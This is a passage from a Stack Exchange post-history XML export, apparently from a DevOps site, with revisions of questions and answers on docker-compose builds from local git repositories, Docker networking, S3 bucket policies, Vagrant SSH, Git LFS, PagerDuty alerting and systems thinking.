  <row Id="6952" PostHistoryTypeId="2" PostId="2217" RevisionGUID="59ad4230-3002-4756-9f7f-57511be914fc" CreationDate="2017-10-02T18:43:57.863" UserId="4580" Text="I have a git repository placed in local file system at `/home/nou/code/lib.git`&#xD;&#xA;Also I have `/home/nou/docker-compose.yaml` that is used to deploy a service based on the code from the repo:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;    services:&#xD;&#xA;      lib:&#xD;&#xA;        container_name: lib&#xD;&#xA;        build: git://./code/lib.git/&#xD;&#xA;        #build: git://./code/lib.git&#xD;&#xA;        #build: git:///home/nou/code/lib.git/&#xD;&#xA;        #build: git://file:///home/nou/code/lib.git/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As you can see, am trying to build lib service from the local git repo, but the only result I observe is such error (or similar):&#xD;&#xA;&#xD;&#xA;    nou@ubuntu:~/$ docker-compose build&#xD;&#xA;    Building lib&#xD;&#xA;    ERROR: error fetching: fatal: unable to connect to .:&#xD;&#xA;    .: No address associated with hostname&#xD;&#xA;    &#xD;&#xA;    : exit status 128&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I use local git repo to build services using docker-compose?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6953" PostHistoryTypeId="1" PostId="2217" RevisionGUID="59ad4230-3002-4756-9f7f-57511be914fc" CreationDate="2017-10-02T18:43:57.863" UserId="4580" Text="How to &quot;docker-compose build&quot; a service from code located in local git repository?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6954" PostHistoryTypeId="3" PostId="2217" RevisionGUID="59ad4230-3002-4756-9f7f-57511be914fc" CreationDate="2017-10-02T18:43:57.863" UserId="4580" Text="&lt;docker&gt;&lt;git&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6963" PostHistoryTypeId="6" PostId="1588" RevisionGUID="cfa39fca-5370-4564-928d-09b55c1b4a74" CreationDate="2017-10-03T08:56:11.880" UserId="210" Comment="missing tag added" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6964" PostHistoryTypeId="2" PostId="2221" RevisionGUID="f86c0653-5ee4-493c-b7ac-a2b8dbc7b5da" CreationDate="2017-10-03T08:56:35.380" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6965" PostHistoryTypeId="1" PostId="2221" RevisionGUID="f86c0653-5ee4-493c-b7ac-a2b8dbc7b5da" CreationDate="2017-10-03T08:56:35.380" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6966" PostHistoryTypeId="2" PostId="2222" RevisionGUID="0855a89f-734b-4972-8638-a7dc353da9e8" CreationDate="2017-10-03T08:56:35.380" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6967" PostHistoryTypeId="1" PostId="2222" RevisionGUID="0855a89f-734b-4972-8638-a7dc353da9e8" CreationDate="2017-10-03T08:56:35.380" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6968" PostHistoryTypeId="2" PostId="2223" RevisionGUID="f862b523-f6d9-4121-92bc-9842b941f2c3" CreationDate="2017-10-03T10:35:54.627" UserId="4369" Text="https://github.com/elastic/stack-docker/blob/master/docker-compose.yml&#xD;&#xA;&#xD;&#xA;This is an official docker-compose for running Elasticsearch, and will make a good starting point for whatever you're trying to achieve. This would be the key part:&#xD;&#xA;&#xD;&#xA;      elasticsearch:&#xD;&#xA;        image: docker.elastic.co/elasticsearch/elasticsearch:${TAG}&#xD;&#xA;        environment: ['http.host=0.0.0.0', 'transport.host=127.0.0.1', 'ELASTIC_PASSWORD=${ELASTIC_PASSWORD}']&#xD;&#xA;        ports: ['127.0.0.1:9200:9200']&#xD;&#xA;        networks: ['stack']&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But I'd recommend cloning the entire repository locally and running `docker-compose up` to experiment." ContentLicense="CC BY-SA 3.0" />
  <row Id="6969" PostHistoryTypeId="2" PostId="2224" RevisionGUID="f91b32d9-6f14-48c3-bc62-70ccaa547130" CreationDate="2017-10-03T10:41:47.317" UserId="4369" Text="If you run the container with the `host` network driver, `localhost` will resolve and route to your local machine where etcd is running.&#xD;&#xA;&#xD;&#xA;    docker run --network=host --userns=host -p 8084:8084 my_python_image" ContentLicense="CC BY-SA 3.0" />
  <row Id="6970" PostHistoryTypeId="5" PostId="2224" RevisionGUID="0a3cb591-974b-45d6-89c4-68a63c3e5535" CreationDate="2017-10-03T10:48:46.743" UserId="4369" Comment="added 400 characters in body" Text="One option is to use the `host` network driver. If you run the container with the host network driver, `localhost` will resolve and route to your local machine where etcd is running.&#xD;&#xA;&#xD;&#xA;    docker run --network=host --userns=host -p 8084:8084 my_python_image&#xD;&#xA;&#xD;&#xA;When using the host network driver, the IP of the container will be the same as your local machine's IP address, giving it access to all of the services that are listening on it.&#xD;&#xA;&#xD;&#xA;The `--userns` flag is required for kernels that have namespacing enabled and provides additional permissions to the container in order for it to use host networking." ContentLicense="CC BY-SA 3.0" />
  <row Id="6971" PostHistoryTypeId="2" PostId="2225" RevisionGUID="b688ffdc-a6db-4f26-a755-c8dce9051b4d" CreationDate="2017-10-03T11:07:56.203" UserId="4369" Text="What you are specifically after (building from a bare repository on a local filesystem) isn't functionality offered by Docker, and by extension, docker-compose. Docker supports building from a few different URLs, but not bare repositories on local filesystems. You can try a few workarounds:&#xD;&#xA;&#xD;&#xA; - Build straight from Github: `docker build https://github.com/docker/rootfs.git`&#xD;&#xA; - Run a Git daemon to use the `git://` protocol: `git daemon .`&#xD;&#xA; - Running a Git daemon from within Docker, mounting your bare repository as a volume and building inside it via a mounted Docker socket&#xD;&#xA; - Converting your bare repository to a normal one" ContentLicense="CC BY-SA 3.0" />
  <row Id="6972" PostHistoryTypeId="5" PostId="2225" RevisionGUID="d06e0831-3f73-478f-8f0a-c4ee11241170" CreationDate="2017-10-03T11:15:52.810" UserId="4369" Comment="added 78 characters in body" Text="What you are specifically after (building from a bare repository on a local filesystem) isn't functionality offered by Docker, and by extension, docker-compose. Docker supports building from a few different URLs, but not bare repositories on local filesystems. You can try a few workarounds:&#xD;&#xA;&#xD;&#xA; - Build straight from Github: `docker build https://github.com/docker/rootfs.git`&#xD;&#xA; - Run a Git daemon to use the `git://` protocol: `git daemon .`&#xD;&#xA; - Running a Git daemon from within Docker, mounting your bare repository as a volume and building inside it via a mounted Docker socket&#xD;&#xA; - Converting your bare repository to a normal one&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/reference/commandline/build/#build-with-url" ContentLicense="CC BY-SA 3.0" />
  <row Id="6973" PostHistoryTypeId="2" PostId="2226" RevisionGUID="f7f3a4a2-0c29-4848-92ca-95816473cad1" CreationDate="2017-10-03T11:26:54.033" UserId="4369" Text="There is currently an issue open to share Gradle cache between containers:&#xD;&#xA;&#xD;&#xA;https://github.com/gradle/gradle/issues/851&#xD;&#xA;&#xD;&#xA;I think the best solution at the moment is to bake as many dependencies in to the Docker image as possible, and then use a volume to share between sequential builds, limiting it to one concurrent build per host. You can mount the cache on to the host with a docker-compose.yml like so:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      gradle:&#xD;&#xA;        image: gradle:4.0.1-jdk8-alpine  # I'd suggest using this as a base to build your own Gradle image with dependencies baked in&#xD;&#xA;        working_dir: /usr/src/app&#xD;&#xA;        volumes:&#xD;&#xA;          - ./:/usr/src/app:Z&#xD;&#xA;          - ./.gradle:/home/gradle/.gradle:Z&#xD;&#xA;&#xD;&#xA;Alternatively, another solution would be to look at network-level caching e.g. Squid." ContentLicense="CC BY-SA 3.0" />
  <row Id="6974" PostHistoryTypeId="2" PostId="2227" RevisionGUID="2f75972d-0a11-4aec-9a61-0a7161a525ba" CreationDate="2017-10-03T11:40:00.433" UserId="210" Text="According [to this documentation][1] it does not seem to be possible to override complete sections in docker-compose by using different docker-compose files.&#xD;&#xA;&#xD;&#xA;&gt; If both files are present on the same directory level, Compose&#xD;&#xA;&gt; combines the two files into a single configuration.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The configuration in the docker-compose.override.yml file is applied&#xD;&#xA;&gt; over and in addition to the values in the docker-compose.yml file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/reference/overview/#specifying-multiple-compose-files" ContentLicense="CC BY-SA 3.0" />
  <row Id="6975" PostHistoryTypeId="2" PostId="2228" RevisionGUID="6bfbc07b-3c12-4b1c-a62f-d75b5779f22f" CreationDate="2017-10-03T11:43:32.087" UserId="3" Text="To provide access for specific bucket, you can define the following policy for that user or group:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;s3:ListBucket&quot;,&#xD;&#xA;                    &quot;s3:GetBucketLocation&quot;,&#xD;&#xA;                    &quot;s3:ListBucketMultipartUploads&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: [&#xD;&#xA;                    &quot;arn:aws:s3:::my-bucket&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;s3:AbortMultipartUpload&quot;,&#xD;&#xA;                    &quot;s3:DeleteObject&quot;,&#xD;&#xA;                    &quot;s3:DeleteObjectVersion&quot;,&#xD;&#xA;                    &quot;s3:GetObject&quot;,&#xD;&#xA;                    &quot;s3:GetObjectAcl&quot;,&#xD;&#xA;                    &quot;s3:GetObjectVersion&quot;,&#xD;&#xA;                    &quot;s3:GetObjectVersionAcl&quot;,&#xD;&#xA;                    &quot;s3:PutObject&quot;,&#xD;&#xA;                    &quot;s3:PutObjectAcl&quot;,&#xD;&#xA;                    &quot;s3:PutObjectVersionAcl&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: [&#xD;&#xA;                    &quot;arn:aws:s3:::my-bucket/*&quot;&#xD;&#xA;                ]&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;: [&#xD;&#xA;                    &quot;s3:ListAllMyBuckets&quot;&#xD;&#xA;                ],&#xD;&#xA;                &quot;Resource&quot;: &quot;arn:aws:s3:::*&quot;&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Where `my-bucket` is your name of your bucket.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;Then send them the Console URL for that bucket, e.g.&#xD;&#xA;&#xD;&#xA;- `https://s3.console.aws.amazon.com/s3/buckets/BUCKET_NAME/`&#xD;&#xA;&#xD;&#xA;Related:&#xD;&#xA;&#xD;&#xA;- [Is there an S3 policy for limiting access to only see/access one bucket?][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/6615168/55075" ContentLicense="CC BY-SA 3.0" />
  <row Id="6976" PostHistoryTypeId="2" PostId="2229" RevisionGUID="17da7abf-65e1-4a54-9368-7964d6c03c45" CreationDate="2017-10-03T12:06:21.317" UserId="4587" Text="Most of the persisted data is written to:&#xD;&#xA;C:\ProgramData\docker&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6977" PostHistoryTypeId="5" PostId="2229" RevisionGUID="881b5924-d2e4-4b98-a0ad-90a6e22551d3" CreationDate="2017-10-03T13:33:39.053" UserId="4587" Comment="added 151 characters in body" Text="Most of the persisted data is written to:&#xD;&#xA;C:\ProgramData\docker&#xD;&#xA;&#xD;&#xA;you should have directories here such as: &#xD;&#xA;.\windowsfilter &#xD;&#xA;.\volumes &#xD;&#xA;.\config &#xD;&#xA;.\image &#xD;&#xA;etc&#xD;&#xA;&#xD;&#xA;The layer and image data is stored under these.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6978" PostHistoryTypeId="5" PostId="2229" RevisionGUID="1ddc43ef-8cb2-4ca8-931e-c6986c69eed1" CreationDate="2017-10-03T13:39:39.047" UserId="47" Comment="improved formatting" Text="Most of the persisted data is written to:&#xD;&#xA;`C:\ProgramData\docker`&#xD;&#xA;&#xD;&#xA;you should have directories here such as:&#xD;&#xA;&#xD;&#xA;    .\windowsfilter &#xD;&#xA;    .\volumes &#xD;&#xA;    .\config &#xD;&#xA;    .\image &#xD;&#xA;&#xD;&#xA;etc&#xD;&#xA;&#xD;&#xA;The layer and image data is stored under these.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6979" PostHistoryTypeId="5" PostId="2222" RevisionGUID="69366adf-aa7a-4cec-8ca6-41cdc6a4495d" CreationDate="2017-10-03T13:55:13.023" UserId="210" Comment="added 34 characters in body" Text="Questions related to elastic stack" ContentLicense="CC BY-SA 3.0" />
  <row Id="6980" PostHistoryTypeId="24" PostId="2222" RevisionGUID="69366adf-aa7a-4cec-8ca6-41cdc6a4495d" CreationDate="2017-10-03T13:55:13.023" Comment="Proposed by 210 approved by 47, 40 edit id of 469" ContentLicense="CC BY-SA 3.0" />
  <row Id="6985" PostHistoryTypeId="10" PostId="2178" RevisionGUID="922e6f26-d4bd-462d-8d14-78c0951b7024" CreationDate="2017-10-03T15:06:48.917" UserId="-1" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;}]}" />
  <row Id="6986" PostHistoryTypeId="2" PostId="2231" RevisionGUID="da3dbdb5-6418-4921-bf9c-47eb463dac08" CreationDate="2017-10-03T15:44:30.207" UserId="210" Text="According [to the docs][1] one should use:&#xD;&#xA;&#xD;&#xA;    vagrant ssh [name|id]&#xD;&#xA;&#xD;&#xA;If there is a single node then use `vagrant ssh` and in case of multi-node define the name or id of the VM, e.g. `vagrant ssh box1`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/docs/cli/ssh.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="6987" PostHistoryTypeId="5" PostId="2018" RevisionGUID="d6a3e54c-de9e-44ec-abc8-5636ceab0539" CreationDate="2017-10-03T15:46:34.480" UserId="210" Comment="edited body; edited title" Text="- Git lfs is just support for large files in Git -&gt; good for example for a video file sample if you need it, right?&#xD;&#xA;- But, if you have large artifacts like a trained model or an uber-jar or some other artifact, what is the benefit to version this binary in git? " ContentLicense="CC BY-SA 3.0" />
  <row Id="6988" PostHistoryTypeId="4" PostId="2018" RevisionGUID="d6a3e54c-de9e-44ec-abc8-5636ceab0539" CreationDate="2017-10-03T15:46:34.480" UserId="210" Comment="edited body; edited title" Text="Can we consider usage of git lfs for artifacts equally mature strategy to an artifactory?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6989" PostHistoryTypeId="6" PostId="2018" RevisionGUID="d6a3e54c-de9e-44ec-abc8-5636ceab0539" CreationDate="2017-10-03T15:46:34.480" UserId="210" Comment="edited body; edited title" Text="&lt;artifacts&gt;&lt;methodology&gt;&lt;artifactory&gt;&lt;git-lfs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6990" PostHistoryTypeId="2" PostId="2232" RevisionGUID="00f69922-8525-4346-820a-c7fc35bae719" CreationDate="2017-10-03T15:48:42.850" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6991" PostHistoryTypeId="1" PostId="2232" RevisionGUID="00f69922-8525-4346-820a-c7fc35bae719" CreationDate="2017-10-03T15:48:42.850" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6992" PostHistoryTypeId="2" PostId="2233" RevisionGUID="e81dca5c-32a0-4fc3-b85f-00295650094d" CreationDate="2017-10-03T15:48:42.850" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6993" PostHistoryTypeId="1" PostId="2233" RevisionGUID="e81dca5c-32a0-4fc3-b85f-00295650094d" CreationDate="2017-10-03T15:48:42.850" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6994" PostHistoryTypeId="2" PostId="2234" RevisionGUID="3c20088c-a9ea-4046-99c7-5b62e0f0c921" CreationDate="2017-10-03T16:18:20.750" UserId="210" Text="**What is Git-LFS?**&#xD;&#xA;&#xD;&#xA;Git Large File Storage (LFS) prevents that large files need to be stored in git itself.&#xD;&#xA;&#xD;&#xA;https://git-lfs.github.com/&#xD;&#xA;&#xD;&#xA;&gt; Git Large File Storage (LFS) replaces large files such as audio&#xD;&#xA;&gt; samples, videos, datasets, and graphics with text pointers inside Git,&#xD;&#xA;&gt; while storing the file contents on a remote server like GitHub.com or&#xD;&#xA;&gt; GitHub Enterprise.&#xD;&#xA;&#xD;&#xA;**What is artifactory?**&#xD;&#xA;&#xD;&#xA;Artifactory stores artifacts, e.g. docker images, jars, wars&#xD;&#xA;&#xD;&#xA;**Artifactory vs. Git-lfs**&#xD;&#xA;&#xD;&#xA;Artifactory is used to store artifacts while git-lfs is used to prevent that large files are stored in git. If one will store large files in git and one would like to clone this repository it will take a decade before it is cloned." ContentLicense="CC BY-SA 3.0" />
  <row Id="6995" PostHistoryTypeId="5" PostId="2231" RevisionGUID="85f6483e-11af-40b0-baba-c0d957aa471b" CreationDate="2017-10-03T16:20:11.203" UserId="210" Comment="added 163 characters in body" Text="According [to the docs][1] one should use:&#xD;&#xA;&#xD;&#xA;    vagrant ssh [name|id]&#xD;&#xA;&#xD;&#xA;If there is a single node then use `vagrant ssh` and in case of multi-node define the name or id of the VM, e.g. `vagrant ssh box1`&#xD;&#xA;&#xD;&#xA;If one would like to ssh between boxes then one could create an ssh key and provision the private key to each box and add the public key to authorized_keys file.&#xD;&#xA;&#xD;&#xA;https://www.vagrantup.com/docs/provisioning/file.html&#xD;&#xA;&#xD;&#xA;&gt;     Vagrant.configure(&quot;2&quot;) do |config|&#xD;&#xA;&gt;       # ... other configuration&#xD;&#xA;&gt;     &#xD;&#xA;&gt;       config.vm.provision &quot;file&quot;, source: &quot;~/.gitconfig&quot;, destination: &quot;.gitconfig&quot;&#xD;&#xA;&gt;     end&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vagrantup.com/docs/cli/ssh.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="6996" PostHistoryTypeId="2" PostId="2235" RevisionGUID="8245b002-d199-4b32-9d88-473b9952042f" CreationDate="2017-10-03T18:12:07.110" UserId="739" Text="The easiest way to build this would be to have some sort of metrics-based alerting system like Prometheus, datadog, etc.  Those systems allow you to have a counter that gets incremented and you can see how many incidents happened in a given period of time on a pretty graph.  Most metrics systems will tie nicely to PagerDuty for the alerting piece.  Having any of these metrics systems functioning will also give you a historic baseline for your systems that is often incredibly handy in figuring our what went wrong and when.&#xD;&#xA;&#xD;&#xA;The threshold should probably be number of incidents over a given period of time.  If you just pick an arbitrary number, say 100, for this you will always eventually get to that limit.  If you see 10 incidents in an hour that could be bad for you." ContentLicense="CC BY-SA 3.0" />
  <row Id="6997" PostHistoryTypeId="5" PostId="2235" RevisionGUID="5b15590e-8df9-4553-be10-d2d292ee25b5" CreationDate="2017-10-03T18:30:09.157" UserId="739" Comment="added 359 characters in body" Text="The easiest way to build this would be to have some sort of metrics-based alerting system like Prometheus, datadog, etc.  Those systems allow you to have a counter that gets incremented and you can see how many incidents happened in a given period of time on a pretty graph.  Most metrics systems will tie nicely to PagerDuty for the alerting piece.  Having any of these metrics systems functioning will also give you a historic baseline for your systems that is often incredibly handy in figuring our what went wrong and when.&#xD;&#xA;&#xD;&#xA;The threshold should probably be number of incidents over a given period of time.  If you just pick an arbitrary number, say 100, for this you will always eventually get to that limit.  If you see 10 incidents in an hour that could be bad for you.&#xD;&#xA;&#xD;&#xA;The hardest part of this would be that I don't think PagerDuty makes it easy to access metrics about the number of incidents.  You can look at pretty graphs in their UI, but there's no easy way to feed that into your metrics system.  You would need to add a bit of code to the other places you have creating incidents and have them increment this counter." ContentLicense="CC BY-SA 3.0" />
  <row Id="6998" PostHistoryTypeId="2" PostId="2236" RevisionGUID="1a35c65e-355b-479e-ae53-d8e4b9fa805a" CreationDate="2017-10-03T18:34:18.850" UserId="4593" Text="You need to do following:&#xD;&#xA;&#xD;&#xA;1. Create a user named &quot;git&quot;&#xD;&#xA;&#xD;&#xA;    $ sudo adduser git&#xD;&#xA;    &#xD;&#xA;    $ su git&#xD;&#xA;    &#xD;&#xA;    $ cd ~&#xD;&#xA;    &#xD;&#xA;    $ mkdir .ssh &amp;&amp; chmod 700 .ssh&#xD;&#xA;    &#xD;&#xA;    $ touch .ssh/authorized_keys &amp;&amp; chmod 600 .ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;2. If you don't have ssh keys for &quot;nou&quot; user then, from &quot;nou&quot; user run&#xD;&#xA;&#xD;&#xA;    $ ssh-keygen&#xD;&#xA;&#xD;&#xA;and accept all defaults.&#xD;&#xA;&#xD;&#xA;3. Add &quot;nou&quot; user's ssh public key to git user ~/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;    $cat nou_user_home/.ssh/id_rsa.pub &gt;&gt; git_user_home/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;After this try below command from &quot;nou&quot; user&#xD;&#xA;&#xD;&#xA;docker build git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If Dockerfile is not at the root of cloned repository then&#xD;&#xA;&#xD;&#xA;docker build -f folder_containing_dockerfile/Dockerfile git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If this all works fine then you can try with your docker-compose file." ContentLicense="CC BY-SA 3.0" />
  <row Id="6999" PostHistoryTypeId="2" PostId="2237" RevisionGUID="d763c6b8-3ba7-4818-b68f-9279e604d490" CreationDate="2017-10-03T18:46:31.927" UserId="383" Text="Based on the PagerDuty documentation on Cloudwatch, it doesn't look like it's configurable:&#xD;&#xA;&#xD;&#xA;https://www.pagerduty.com/docs/guides/aws-cloudwatch-integration-guide/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7000" PostHistoryTypeId="5" PostId="2236" RevisionGUID="c2952dac-4868-4919-8bba-ad99a7227396" CreationDate="2017-10-03T19:11:16.657" UserId="4593" Comment="added 9 characters in body" Text="You can try this, it works for me:&#xD;&#xA;&#xD;&#xA;1. Create a user named &quot;git&quot;&#xD;&#xA;&#xD;&#xA;    $ sudo adduser git&#xD;&#xA;    &#xD;&#xA;    $ su git&#xD;&#xA;    &#xD;&#xA;    $ cd ~&#xD;&#xA;    &#xD;&#xA;    $ mkdir .ssh &amp;&amp; chmod 700 .ssh&#xD;&#xA;    &#xD;&#xA;    $ touch .ssh/authorized_keys &amp;&amp; chmod 600 .ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;2. If you don't have ssh keys for &quot;nou&quot; user then, from &quot;nou&quot; user run&#xD;&#xA;&#xD;&#xA;    $ ssh-keygen&#xD;&#xA;&#xD;&#xA;and accept all defaults.&#xD;&#xA;&#xD;&#xA;3. Add &quot;nou&quot; user's ssh public key to git user ~/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;    $cat nou_user_home/.ssh/id_rsa.pub &gt;&gt; git_user_home/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;After this try below command from &quot;nou&quot; user&#xD;&#xA;&#xD;&#xA;docker build git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If Dockerfile is not at the root of cloned repository then&#xD;&#xA;&#xD;&#xA;docker build -f folder_containing_dockerfile/Dockerfile git@localhost:/home/nou/code/lib.git&#xD;&#xA;&#xD;&#xA;If this all works fine then you can try with your docker-compose file." ContentLicense="CC BY-SA 3.0" />
  <row Id="7001" PostHistoryTypeId="2" PostId="2238" RevisionGUID="e952d2b7-88a5-4911-990c-80b20ad3afaa" CreationDate="2017-10-03T22:01:52.077" UserId="210" Text="One could use the same docker-compose file for dev, test, acceptance and production (DTAP) systems. Things that deviate per environment, e.g. passwords could be defined in an .env file.&#xD;&#xA;&#xD;&#xA;If .env files are not a solution for some reason then one could create different docker-compose files, e.g. docker-compose.override (dev), docker-compose.test, docker-compose.acc and docker-compose.prd.&#xD;&#xA;&#xD;&#xA;I personally prefer the first option, e.g. using .env files and a docker-compose.override for dev. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7002" PostHistoryTypeId="5" PostId="2225" RevisionGUID="335e8116-996e-4b8e-82d0-5836c2b0f5a0" CreationDate="2017-10-03T22:26:17.483" UserId="4369" Comment="Fix command for `git daemon`" Text="What you are specifically after (building from a bare repository on a local filesystem) isn't functionality offered by Docker, and by extension, docker-compose. Docker supports building from a few different URLs, but not bare repositories on local filesystems. You can try a few workarounds:&#xD;&#xA;&#xD;&#xA; - Build straight from Github: `docker build https://github.com/docker/rootfs.git`&#xD;&#xA; - Run a Git daemon to use the `git://` protocol: `git daemon --base-path=. --export-all` (in `/home/nou/code`)&#xD;&#xA; - Running a Git daemon from within Docker, mounting your bare repository as a volume and building inside it via a mounted Docker socket&#xD;&#xA; - Converting your bare repository to a normal one&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/reference/commandline/build/#build-with-url" ContentLicense="CC BY-SA 3.0" />
  <row Id="7003" PostHistoryTypeId="2" PostId="2239" RevisionGUID="b672c09d-0f27-44a5-8efd-a7752c4efba9" CreationDate="2017-10-03T23:21:22.897" UserId="210" Text="Googling &quot;system thinking&quot; returned a lot of resources that are about &quot;Systems thinking&quot; rather than &quot;System thinking&quot;. [This source][1] indicates that &quot;Systems thinking&quot; is one of the three ways that could be applied in DevOps.&#xD;&#xA;&#xD;&#xA;After reading several references &quot;Systems thinking&quot; is about interactions rather than silos. If one translates this to DevOps then &quot;Systems thinking&quot; is aligned with the theory and also important for DevOps as this is the interaction between QA, Dev and Ops.&#xD;&#xA;&#xD;&#xA;In order to apply &quot;Systems thinking&quot; one should be able to communicate with people from Dev, Ops and QA, listen to them, understand their problems and find ways to let them work together instead of getting a &quot;through it over the wall&quot; mentality and unconnected departments in the company.&#xD;&#xA;&#xD;&#xA;An element that really requires &quot;Systems thinking&quot; is Continuous Delivery (CD). Multiple departments are involved, while CI is mostly used by Dev, QA and Ops will be definitely need to be involved in this process as one does not want to release a newer version if integration or manual tests failed and Ops want to be informed if there are changes to the system as they monitor systems and try to prevent and solve issues on the platform.&#xD;&#xA;&#xD;&#xA;In summary, &quot;Systems thinking&quot; is required for DevOps engineers. If one only sees Dev, Ops and QA as individual parts, but no [interdependency][2] then this is not aligned with the DevOps theory, i.e. interaction between Dev, Ops and QA.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;https://medium.com/disruptive-design/tools-for-systems-thinkers-the-6-fundamental-concepts-of-systems-thinking-379cdac3dc6a&#xD;&#xA;&#xD;&#xA;http://www.thwink.org/sustain/glossary/SystemsThinking.htm&#xD;&#xA;&#xD;&#xA;&gt; a discipline for seeing the 'structures' that underlie complex&#xD;&#xA;&gt; situations, and for discerning high from low leverage points.&#xD;&#xA;&#xD;&#xA;https://thesystemsthinker.com/connecting-systems-thinking-and-action/&#xD;&#xA;&#xD;&#xA;&gt; The iceberg is one of the most frequently used models to explain&#xD;&#xA;&gt; systems thinking (see “The Iceberg”). Thanks to movies like “Titanic,”&#xD;&#xA;&gt; many people recognize that most of an iceberg sits hidden beneath the&#xD;&#xA;&gt; water; that is, out of sight.&#xD;&#xA;&#xD;&#xA;https://www.accenture.com/us-en/blogs/blogs-devops-evan-erwee-system-thinking&#xD;&#xA;&#xD;&#xA;&gt; System Thinking allows people to make their understanding of social&#xD;&#xA;&gt; systems explicit and improve them in the same way that people can use&#xD;&#xA;&gt; engineering principles to improve their understanding of mechanical&#xD;&#xA;&gt; systems.&#xD;&#xA;&gt;&#xD;&#xA;&gt; ...&#xD;&#xA;&gt; &#xD;&#xA;&gt; We can therefore state that System Thinking for DevOps is required to&#xD;&#xA;&gt; understand Software Engineering as a social construct using&#xD;&#xA;&gt; engineering principles.&#xD;&#xA;&gt; &#xD;&#xA;&gt; From a System Thinking approach, DevOps thinking is fundamentally&#xD;&#xA;&gt; different from the traditional form of analysis. Traditional analysis&#xD;&#xA;&gt; focus on separating the individual software engineering pieces, e.g.,&#xD;&#xA;&gt; architecture, coding, testing, tooling etc. In contrast, the DevOps&#xD;&#xA;&gt; approach focuses on how all aspects of the software life cycle&#xD;&#xA;&gt; interact with other constituents of the system. Circling back to the&#xD;&#xA;&gt; definition of DevOps we can easily identify the ‘behavior traits’&#xD;&#xA;&gt; observed in the DevOps movement, namely: adaptable/flexible (improve&#xD;&#xA;&gt; relationship), cooperative (better communication), diplomatic&#xD;&#xA;&gt; (collaboration), etc.&#xD;&#xA;&#xD;&#xA;http://www.systemicleadershipinstitute.org/systemic-leadership/theories/basic-principles-of-systems-thinking-as-applied-to-management-and-leadership-2/&#xD;&#xA;&#xD;&#xA;&gt; Systems thinking is a management discipline that concerns an&#xD;&#xA;&gt; understanding of a system by examining the linkages and interactions&#xD;&#xA;&gt; between the components that comprise the entirety of that defined&#xD;&#xA;&gt; 